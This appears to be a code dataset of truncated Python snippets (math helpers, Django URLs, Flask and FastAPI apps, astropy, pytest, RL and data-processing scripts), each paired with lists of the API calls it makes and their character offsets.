"tensorflow.compat.v1.graph_util.convert_... | [((258, 292), 'tensorflow.compat.v1.disable_v2_behavior', 'tf.compat.v1.disable_v2_behavior', ([], {}), '()\n', (290, 292), True, 'import tensorflow as tf\n'), ((375, 436), 'tensorflow.compat.v1.logging.set_verbosity', 'tf.compat.v1.logging.set_verbosity', (['tf.compat.v1.logging.INFO'], {}), '(tf.compat.v1.logging.INF... |
import math
def add(a, b):
return a + b
def ceil(number):
return math.ceil(number)
def divide(a, b):
return a / b
def floor(number):
return math.floor(number)
def max(numbers):
if len(numbers) == 0:
return
max = float('-inf')
for number in numbers:
if number > max:
max = number
return... | [
"math.ceil",
"math.floor"
] | [((71, 88), 'math.ceil', 'math.ceil', (['number'], {}), '(number)\n', (80, 88), False, 'import math\n'), ((152, 170), 'math.floor', 'math.floor', (['number'], {}), '(number)\n', (162, 170), False, 'import math\n')] |
import yaml
import control
# Import the relevant command modules.
# These self-subscribe to the control hanlder, but need to get imported
import schedule_commands
import team_commands
import scores_commands
import match_commands
def command(cmd):
responses = []
control.handle(cmd, responses.append)
retur... | [
"yaml.load",
"control.handle"
] | [((273, 310), 'control.handle', 'control.handle', (['cmd', 'responses.append'], {}), '(cmd, responses.append)\n', (287, 310), False, 'import control\n'), ((427, 446), 'yaml.load', 'yaml.load', (['raw_data'], {}), '(raw_data)\n', (436, 446), False, 'import yaml\n')] |
"""phylobook URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-bas... | [
"django.contrib.auth.views.PasswordResetDoneView.as_view",
"django.contrib.auth.views.PasswordResetCompleteView.as_view",
"django.urls.include",
"django.contrib.auth.views.LogoutView.as_view",
"django.contrib.auth.views.PasswordChangeView.as_view",
"django.contrib.auth.views.PasswordResetConfirmView.as_vi... | [((1082, 1113), 'django.urls.path', 'path', (['"""admin/"""', 'admin.site.urls'], {}), "('admin/', admin.site.urls)\n", (1086, 1113), False, 'from django.urls import path, include, re_path\n'), ((1185, 1260), 'django.urls.path', 'path', (['"""password_reset"""', 'views.password_reset_request'], {'name': '"""password_re... |
import heapq
import sys
heap = []
n = int(input())
for _ in range(n):
x = int(sys.stdin.readline())
if x == 0:
try:
print(heapq.heappop(heap))
except:
print(0)
else:
heapq.heappush(heap, x)
| [
"sys.stdin.readline",
"heapq.heappush",
"heapq.heappop"
] | [((85, 105), 'sys.stdin.readline', 'sys.stdin.readline', ([], {}), '()\n', (103, 105), False, 'import sys\n'), ((230, 253), 'heapq.heappush', 'heapq.heappush', (['heap', 'x'], {}), '(heap, x)\n', (244, 253), False, 'import heapq\n'), ((153, 172), 'heapq.heappop', 'heapq.heappop', (['heap'], {}), '(heap)\n', (166, 172),... |
# -*- coding: utf-8 -*-
"""
Created on Mon May 21 21:08:09 2018
@author: <NAME>
"""
# System Utilities
import os
import io
import sys
import gc
import traceback
# Email and Text processing
import email
from email.header import decode_header
import re
import uuid # unique ID
# Data handling and analytics tools
impo... | [
"traceback.format_exc",
"re.compile",
"timeit.default_timer",
"io.BytesIO",
"uuid.uuid1",
"email.header.decode_header",
"gc.collect",
"pandas.DataFrame",
"re.sub",
"re.findall"
] | [((3214, 3258), 're.compile', 're.compile', (['"""([\\\\w\\\\.-]+@[\\\\w\\\\.-]+\\\\.\\\\w+)"""'], {}), "('([\\\\w\\\\.-]+@[\\\\w\\\\.-]+\\\\.\\\\w+)')\n", (3224, 3258), False, 'import re\n'), ((3274, 3331), 're.compile', 're.compile', (['"""\\\\W*(.*?)\\\\W*([\\\\w\\\\.-]+@[\\\\w\\\\.-]+\\\\.\\\\w+)"""'], {}), "('\\\\... |
#!./venv/bin/python
from flask import Flask, render_template
# creates the app instance using the name of the module
app = Flask( __name__, template_folder='templates' )
print(__name__, " app created.") # DEBUG ONLY
# https://replit.com/talk/learn/Flask-Tutorial/36529
@app.route('/') # Route the Function
def ma... | [
"flask.render_template",
"flask.Flask"
] | [((127, 171), 'flask.Flask', 'Flask', (['__name__'], {'template_folder': '"""templates"""'}), "(__name__, template_folder='templates')\n", (132, 171), False, 'from flask import Flask, render_template\n'), ((393, 427), 'flask.render_template', 'render_template', (['"""index.html"""'], {'x': 'x'}), "('index.html', x=x)\n... |
from astropy.io import fits as pyfits
import pyregion
import warnings
import numpy
class FitsRegionFile(object):
def __init__(self, filename, minimumSize=0):
with pyfits.open(filename) as f:
header = f['EVENTS'].header
self.X = f['EVENTS'].... | [
"warnings.warn",
"pyregion.parse",
"astropy.io.fits.open"
] | [((193, 214), 'astropy.io.fits.open', 'pyfits.open', (['filename'], {}), '(filename)\n', (204, 214), True, 'from astropy.io import fits as pyfits\n'), ((1315, 1381), 'warnings.warn', 'warnings.warn', (["('Removing region %s because is too small' % (i + 1))"], {}), "('Removing region %s because is too small' % (i + 1))\... |
import numpy as np
import pytest
from probnum.diffeq.perturbedsolvers import _perturbation_functions
random_state = np.random.mtrand.RandomState(seed=1)
@pytest.fixture
def step():
return 0.2
@pytest.fixture
def solver_order():
return 4
@pytest.fixture
def noise_scale():
return 1
@pytest.fixture
d... | [
"pytest.mark.parametrize",
"numpy.testing.assert_allclose",
"numpy.random.mtrand.RandomState",
"numpy.sum"
] | [((118, 154), 'numpy.random.mtrand.RandomState', 'np.random.mtrand.RandomState', ([], {'seed': '(1)'}), '(seed=1)\n', (146, 154), True, 'import numpy as np\n'), ((356, 485), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""perturb_fct"""', '[_perturbation_functions.perturb_uniform, _perturbation_functions.\n... |
import pdb
import json
import arrow
import rdflib
import pandas as pd
from functools import reduce
def updater(x, y):
x.update(y)
return x
from building_depot import DataService, BDError
from bd3client.CentralService import CentralService as bd3cs
from bd3client.Sensor import Sensor as bd3sensor
from bd3client... | [
"pandas.Series",
"functools.reduce",
"bd3client.Sensor.Sensor",
"building_depot.DataService",
"arrow.get",
"json.load",
"bd3client.CentralService.CentralService",
"bd3client.Timeseries.Timeseries",
"json.dump"
] | [((390, 412), 'arrow.get', 'arrow.get', (['(2018)', '(4)', '(15)'], {}), '(2018, 4, 15)\n', (399, 412), False, 'import arrow\n'), ((540, 579), 'functools.reduce', 'reduce', (['updater', "data['timeseries']", '{}'], {}), "(updater, data['timeseries'], {})\n", (546, 579), False, 'from functools import reduce\n'), ((870, ... |
#!/usr/bin/env python
"""Train stacking ensemble for tagging."""
import argparse
import logging
import sklearn.feature_extraction
import sklearn.linear_model
import ensembling
import stack
import textproto
def main(args):
all_sentences = list(ensembling.read_all_sentences(args.hypo))
with open(args.gold, "r... | [
"logging.basicConfig",
"argparse.ArgumentParser",
"ensembling.read_all_sentences",
"stack.Stack",
"stack.tags",
"textproto.read_sentences",
"stack.all_tags"
] | [((448, 549), 'stack.Stack', 'stack.Stack', ([], {'loss': '"""log"""', 'penalty': '"""l2"""', 'max_iter': '(100)', 'tol': '(0.001)', 'n_jobs': '(-1)', 'random_state': 'args.seed'}), "(loss='log', penalty='l2', max_iter=100, tol=0.001, n_jobs=-1,\n random_state=args.seed)\n", (459, 549), False, 'import stack\n'), ((7... |
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
import numpy as np
from rl import online_learners as ol
from rl.online_learners import base_algorithms as balg
def get_learner(optimizer, policy, scheduler, max_kl=None):
""" Return an first-order optimizer. """
x0 ... | [
"rl.online_learners.base_algorithms.Adam",
"numpy.random.geometric",
"numpy.where",
"rl.online_learners.base_algorithms.RobustAdaptiveSecondOrderUpdate",
"numpy.random.multinomial",
"numpy.sum",
"rl.online_learners.base_algorithms.AdaptiveSecondOrderUpdate",
"rl.online_learners.base_algorithms.TrustRe... | [((2057, 2082), 'numpy.random.geometric', 'np.random.geometric', (['prob'], {}), '(prob)\n', (2076, 2082), True, 'import numpy as np\n'), ((1259, 1269), 'numpy.sum', 'np.sum', (['p0'], {}), '(p0)\n', (1265, 1269), True, 'import numpy as np\n'), ((1306, 1334), 'numpy.random.multinomial', 'np.random.multinomial', (['(1)'... |
from typing import List
from deeppavlov.core.common.registry import register
@register("sentseg_restore_sent")
def SentSegRestoreSent(batch_words: List[List[str]], batch_tags: List[List[str]]) -> List[str]:
ret = []
for words, tags in zip(batch_words, batch_tags):
if len(tags) == 0:
ret.a... | [
"deeppavlov.core.common.registry.register"
] | [((81, 113), 'deeppavlov.core.common.registry.register', 'register', (['"""sentseg_restore_sent"""'], {}), "('sentseg_restore_sent')\n", (89, 113), False, 'from deeppavlov.core.common.registry import register\n')] |
import uvicorn as uvicorn
from fastapi import FastAPI, Request, Response
from fastapi.staticfiles import StaticFiles
from starlette.middleware.sessions import SessionMiddleware
from dspback.config import get_settings
from dspback.database.models import SessionLocal
from dspback.routers import authentication, repositor... | [
"fastapi.FastAPI",
"fastapi.Response",
"uvicorn.run",
"dspback.database.models.SessionLocal",
"fastapi.staticfiles.StaticFiles",
"dspback.config.get_settings"
] | [((373, 382), 'fastapi.FastAPI', 'FastAPI', ([], {}), '()\n', (380, 382), False, 'from fastapi import FastAPI, Request, Response\n'), ((493, 533), 'fastapi.staticfiles.StaticFiles', 'StaticFiles', ([], {'directory': '"""dspback/schemas"""'}), "(directory='dspback/schemas')\n", (504, 533), False, 'from fastapi.staticfil... |
import os
import numpy as np
import pandas as pd
import h5py
from bmtk.utils.sonata.utils import add_hdf5_magic, add_hdf5_version
def create_single_pop_h5():
h5_file_old = h5py.File('spike_files/spikes.old.h5', 'r')
node_ids = h5_file_old['/spikes/gids']
timestamps = h5_file_old['/spikes/timestamps']
... | [
"pandas.Series",
"pandas.read_csv",
"bmtk.utils.sonata.utils.add_hdf5_version",
"bmtk.utils.sonata.utils.add_hdf5_magic",
"os.path.join",
"h5py.File",
"numpy.uint64"
] | [((179, 222), 'h5py.File', 'h5py.File', (['"""spike_files/spikes.old.h5"""', '"""r"""'], {}), "('spike_files/spikes.old.h5', 'r')\n", (188, 222), False, 'import h5py\n'), ((1797, 1852), 'pandas.read_csv', 'pd.read_csv', (['"""spike_files/spikes.multipop.csv"""'], {'sep': '""" """'}), "('spike_files/spikes.multipop.csv'... |